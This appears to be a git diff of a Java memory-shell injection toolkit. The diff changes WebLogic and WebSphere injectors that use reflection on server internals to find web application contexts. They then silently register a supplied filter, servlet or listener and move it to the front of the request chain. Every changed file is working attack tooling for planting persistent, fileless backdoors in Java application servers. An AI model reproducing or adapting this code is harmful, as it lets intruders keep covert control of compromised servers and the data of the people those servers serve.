Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
|
||||||
for (Thread thread : threads) {
|
|
||||||
if (thread != null) {
|
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
|
||||||
if (workEntry != null) {
|
|
||||||
try {
|
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
|
||||||
if (connectionHandler != null) {
|
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
|
||||||
if (request != null) {
|
|
||||||
context = getFieldValue(request, "context");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* weblogic.servlet.internal.WebAppServletContext
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
*/
|
*/
|
||||||
public static Set<Object> getContext() {
|
public static Set<Object> getContext() throws Exception {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
try {
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
} catch (Throwable ignored) {
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
|
String key = entry.getKey();
|
||||||
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
|
Object value = entry.getValue();
|
||||||
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
@@ -193,20 +142,14 @@ public class WebLogicFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
|
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||||
for (Object obj : filters.keySet()) {
|
if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
|
||||||
if (obj.toString().contains(getClassName())) {
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
|
||||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
|
||||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
|
||||||
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
|
|
||||||
cachedClasses.put(getClassName(), filter.getClass());
|
|
||||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||||
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
|
||||||
filterPatternList.add(0, currentMapping);
|
filterPatternList.add(0, curFilterInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -248,8 +191,7 @@ public class WebLogicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -266,12 +208,8 @@ public class WebLogicFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+31
-81
@@ -1,16 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
import java.util.*;
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -40,7 +39,7 @@ public class WebLogicListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -75,88 +74,39 @@ public class WebLogicListenerInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
|
||||||
theOneMethod.setAccessible(true);
|
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
/**
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
for (Object componentRuntime : childrenSet) {
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
try {
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
*/
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
public static Set<Object> getContext() throws Exception {
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
for (Thread thread : threads) {
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
if (thread != null) {
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
String key = entry.getKey();
|
||||||
if (workEntry != null) {
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
|
Object value = entry.getValue();
|
||||||
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
try {
|
try {
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
if (connectionHandler != null) {
|
request = getFieldValue(connectionHandler, "request");
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
if (request != null) {
|
if (request != null) {
|
||||||
context = getFieldValue(request, "context");
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
}
|
}
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Set<Object> getContext() {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
try {
|
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
|
|||||||
+30
-77
@@ -1,10 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.weblogic;
|
package com.reajason.javaweb.memshell.injector.weblogic;
|
||||||
|
|
||||||
|
import javax.management.MBeanServer;
|
||||||
import javax.servlet.Servlet;
|
import javax.servlet.Servlet;
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.management.ManagementFactory;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -45,7 +47,7 @@ public class WebLogicServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -80,88 +82,39 @@ public class WebLogicServletInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object[] getContextsByMbean() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
|
||||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
|
||||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
|
||||||
theOneMethod.setAccessible(true);
|
|
||||||
Object serverRuntime = theOneMethod.invoke(null);
|
|
||||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
|
||||||
getApplicationRuntimesMethod.setAccessible(true);
|
|
||||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
|
||||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
|
||||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
|
||||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
|
||||||
try {
|
|
||||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
|
||||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
|
||||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
|
||||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
|
||||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
/**
|
||||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
for (Object componentRuntime : childrenSet) {
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
try {
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
Object context = getFieldValue(componentRuntime, "context");
|
*/
|
||||||
if (webAppServletContextClass.isInstance(context)) {
|
public static Set<Object> getContext() throws Exception {
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
for (Thread thread : threads) {
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
if (thread != null) {
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
String key = entry.getKey();
|
||||||
if (workEntry != null) {
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
|
Object value = entry.getValue();
|
||||||
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
try {
|
try {
|
||||||
Object context = null;
|
|
||||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
if (connectionHandler != null) {
|
request = getFieldValue(connectionHandler, "request");
|
||||||
Object request = getFieldValue(connectionHandler, "request");
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
if (request != null) {
|
if (request != null) {
|
||||||
context = getFieldValue(request, "context");
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
}
|
}
|
||||||
}
|
|
||||||
if (context == null) {
|
|
||||||
context = getFieldValue(workEntry, "context");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (context != null) {
|
|
||||||
webappContexts.add(context);
|
|
||||||
}
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return webappContexts.toArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Set<Object> getContext() {
|
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
|
||||||
try {
|
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
|
||||||
} catch (Throwable ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
return webappContexts;
|
return webappContexts;
|
||||||
|
|||||||
+70
-43
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.websphere;
|
package com.reajason.javaweb.memshell.injector.websphere;
|
||||||
|
|
||||||
import javax.servlet.Filter;
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -9,14 +8,12 @@ import java.lang.reflect.Constructor;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* tested v7、v8
|
|
||||||
* update 2023/07/08
|
|
||||||
*
|
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class WebSphereFilterInjector {
|
public class WebSphereFilterInjector {
|
||||||
@@ -46,7 +43,7 @@ public class WebSphereFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -87,11 +84,32 @@ public class WebSphereFilterInjector {
|
|||||||
*/
|
*/
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
Object[] threadLocals = null;
|
||||||
for (Object wsThreadLocal : wsThreadLocals) {
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
// for websphere 7.x
|
// for websphere 7.x
|
||||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
for (Object stack : stackList) {
|
for (Object stack : stackList) {
|
||||||
try {
|
try {
|
||||||
Object config = getFieldValue(stack, "config");
|
Object config = getFieldValue(stack, "config");
|
||||||
@@ -99,8 +117,9 @@ public class WebSphereFilterInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -132,43 +151,42 @@ public class WebSphereFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
Object webAppConfiguration = getFieldValue(context, "config");
|
Object webAppConfig = getFieldValue(context, "config");
|
||||||
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||||
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||||
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||||
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
|
||||||
|
|
||||||
Object filterManager = getFieldValue(context, "filterManager");
|
Object filterManager = getFieldValue(context, "filterManager");
|
||||||
try {
|
|
||||||
// v8
|
|
||||||
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
|
||||||
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
|
|
||||||
setFieldValue(context, "initialized", false);
|
|
||||||
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
|
|
||||||
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
|
||||||
setFieldValue(context, "initialized", true);
|
|
||||||
|
|
||||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
|
|
||||||
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
|
||||||
|
|
||||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
|
|
||||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
|
|
||||||
} catch (Exception e) {
|
|
||||||
// v7
|
|
||||||
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
|
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
|
|
||||||
setFieldValue(filterConfig, "name", getClassName());
|
setFieldValue(filterConfig, "name", getClassName());
|
||||||
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
|
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
||||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
|
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
||||||
|
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||||
|
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
|
||||||
|
|
||||||
|
try {
|
||||||
|
List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
|
||||||
|
uriFilterMappingInfos.remove(filterMapping);
|
||||||
|
uriFilterMappingInfos.add(0, filterMapping);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// WebSphere7
|
||||||
|
List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
|
||||||
|
Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
|
||||||
|
uriFilterMappings.add(0, fmInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 清除缓存
|
// 清除缓存
|
||||||
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
|
Object chainCache = getFieldValue(filterManager, "chainCache");
|
||||||
|
try {
|
||||||
|
invokeMethod(chainCache, "clear", null, null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -176,6 +194,19 @@ public class WebSphereFilterInjector {
|
|||||||
return msg;
|
return msg;
|
||||||
}
|
}
|
